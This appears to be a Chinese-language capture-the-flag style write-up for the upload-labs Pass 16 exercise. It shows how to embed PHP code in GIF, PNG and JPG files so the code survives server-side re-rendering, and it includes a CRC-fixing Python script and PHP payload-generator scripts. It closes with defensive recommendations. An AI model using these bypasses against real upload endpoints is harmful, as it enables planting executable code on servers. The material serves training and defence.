upload-labs之pass 16详细分析
字数 1296 2025-08-27 12:33:22

绕过文件上传二次渲染技术详解

1. 二次渲染概述

二次渲染是指服务器在接收上传的图片文件后,会对其进行重新处理(如压缩、格式转换等),这通常会导致嵌入在图片中的恶意代码被清除。upload-labs pass 16关卡考察的就是如何绕过这种安全机制。

2. GIF文件绕过技术

2.1 基本原理

  • GIF文件二次渲染后,某些数据区域保持不变
  • 找到这些不变区域插入PHP代码即可绕过

2.2 操作步骤

  1. 准备一个正常的GIF图片
  2. 使用十六进制编辑器在文件尾部添加PHP代码,如<?php phpinfo(); ?>
  3. 上传后下载渲染后的文件进行对比
  4. 通过对比找到未被修改的数据区域(通常为中间蓝色部分)
  5. 将PHP代码插入到这些不变区域中
  6. 重新上传修改后的GIF文件

2.3 验证方法

  • 下载服务器上的文件
  • 使用十六进制编辑器检查PHP代码是否保留

3. PNG文件绕过技术

3.1 PNG文件结构

PNG由多个数据块组成,关键数据块包括:

  • IHDR:文件头数据块(必须第一个出现)
  • PLTE:调色板数据块(索引彩色图像必需)
  • IDAT:图像数据块(存储实际图像数据)
  • IEND:图像结束数据块(必须位于文件尾部)

3.2 通过PLTE数据块绕过

适用条件:仅对索引彩色图像(IHDR中color type为03)有效

操作步骤

  1. 使用十六进制编辑器在PLTE数据块中插入PHP代码
  2. 重新计算CRC校验值(算法:x³²+x²⁶+x²³+x²²+x¹⁶+x¹²+x¹¹+x¹⁰+x⁸+x⁷+x⁵+x⁴+x²+x+1)
  3. 使用Python脚本计算新CRC:
import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

# PLTE crc计算
data = '504c5445' + re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)
  1. 修改文件中的CRC值为计算结果
  2. 上传并验证

3.3 通过IDAT数据块绕过

使用专门生成的PNG文件:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

4. JPG文件绕过技术

4.1 使用专用工具

使用jpg_payload.php脚本处理JPG文件:

<?php
/* 
JPG Payload注入脚本,保持处理后不变
要求初始图像的大小和质量与处理后相同
*/

$miniPayload = "<?=phpinfo();?>";

// 检查GD库
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}

// 使用方法: php jpg_payload.php <jpg_name.jpg>
// 详细代码见原文...
?>

4.2 操作步骤

  1. 准备一个JPG图片并上传到服务器
  2. 下载服务器处理后的图片保存为1.jpg
  3. 使用脚本处理:php jpg_payload.php 1.jpg
  4. 上传生成的payload_1.jpg
  5. 验证是否成功

4.3 注意事项

  • 不是所有JPG图片都能成功处理
  • 可能需要尝试多个不同的JPG文件
  • 如果失败,尝试修改payload或在开头添加一些字符

5. 验证方法

对于所有文件类型,验证步骤相同:

  1. 上传文件到服务器
  2. 从服务器下载处理后的文件
  3. 使用十六进制编辑器检查文件中是否还包含PHP代码
  4. 如果代码存在,则绕过成功

6. 技术要点总结

  1. GIF文件:利用二次渲染中不变的数据区域插入代码
  2. PNG文件
    • 通过PLTE数据块(仅限索引彩色图像)
    • 通过特殊构造的IDAT数据块
  3. JPG文件:使用专用脚本在特定位置注入payload
  4. 关键是要理解每种图片格式的数据结构
  5. 所有方法都需要重新计算和修正校验值(如CRC)

7. 防御建议

  1. 除了二次渲染,还应结合其他安全措施:
    • 文件类型白名单验证
    • 文件内容检测
    • 随机重命名上传文件
    • 设置适当的文件权限
  2. 禁用上传文件的执行权限
  3. 将上传文件存储在非web可访问目录,通过脚本间接访问
绕过文件上传二次渲染技术详解 1. 二次渲染概述 二次渲染是指服务器在接收上传的图片文件后,会对其进行重新处理(如压缩、格式转换等),这通常会导致嵌入在图片中的恶意代码被清除。upload-labs pass 16关卡考察的就是如何绕过这种安全机制。 2. GIF文件绕过技术 2.1 基本原理 GIF文件二次渲染后,某些数据区域保持不变 找到这些不变区域插入PHP代码即可绕过 2.2 操作步骤 准备一个正常的GIF图片 使用十六进制编辑器在文件尾部添加PHP代码,如 <?php phpinfo(); ?> 上传后下载渲染后的文件进行对比 通过对比找到未被修改的数据区域(通常为中间蓝色部分) 将PHP代码插入到这些不变区域中 重新上传修改后的GIF文件 2.3 验证方法 下载服务器上的文件 使用十六进制编辑器检查PHP代码是否保留 3. PNG文件绕过技术 3.1 PNG文件结构 PNG由多个数据块组成,关键数据块包括: IHDR :文件头数据块(必须第一个出现) PLTE :调色板数据块(索引彩色图像必需) IDAT :图像数据块(存储实际图像数据) IEND :图像结束数据块(必须位于文件尾部) 3.2 通过PLTE数据块绕过 适用条件 :仅对索引彩色图像(IHDR中color type为03)有效 操作步骤 : 使用十六进制编辑器在PLTE数据块中插入PHP代码 重新计算CRC校验值(算法:x³²+x²⁶+x²³+x²²+x¹⁶+x¹²+x¹¹+x¹⁰+x⁸+x⁷+x⁵+x⁴+x²+x+1) 使用Python脚本计算新CRC: 修改文件中的CRC值为计算结果 上传并验证 3.3 通过IDAT数据块绕过 使用专门生成的PNG文件: 4. JPG文件绕过技术 4.1 使用专用工具 使用 jpg_payload.php 脚本处理JPG文件: 4.2 操作步骤 准备一个JPG图片并上传到服务器 下载服务器处理后的图片保存为1.jpg 使用脚本处理: php jpg_payload.php 1.jpg 上传生成的payload_ 1.jpg 验证是否成功 4.3 注意事项 不是所有JPG图片都能成功处理 可能需要尝试多个不同的JPG文件 如果失败,尝试修改payload或在开头添加一些字符 5. 验证方法 对于所有文件类型,验证步骤相同: 上传文件到服务器 从服务器下载处理后的文件 使用十六进制编辑器检查文件中是否还包含PHP代码 如果代码存在,则绕过成功 6. 技术要点总结 GIF文件 :利用二次渲染中不变的数据区域插入代码 PNG文件 : 通过PLTE数据块(仅限索引彩色图像) 通过特殊构造的IDAT数据块 JPG文件 :使用专用脚本在特定位置注入payload 关键是要理解每种图片格式的数据结构 所有方法都需要重新计算和修正校验值(如CRC) 7. 防御建议 除了二次渲染,还应结合其他安全措施: 文件类型白名单验证 文件内容检测 随机重命名上传文件 设置适当的文件权限 禁用上传文件的执行权限 将上传文件存储在非web可访问目录,通过脚本间接访问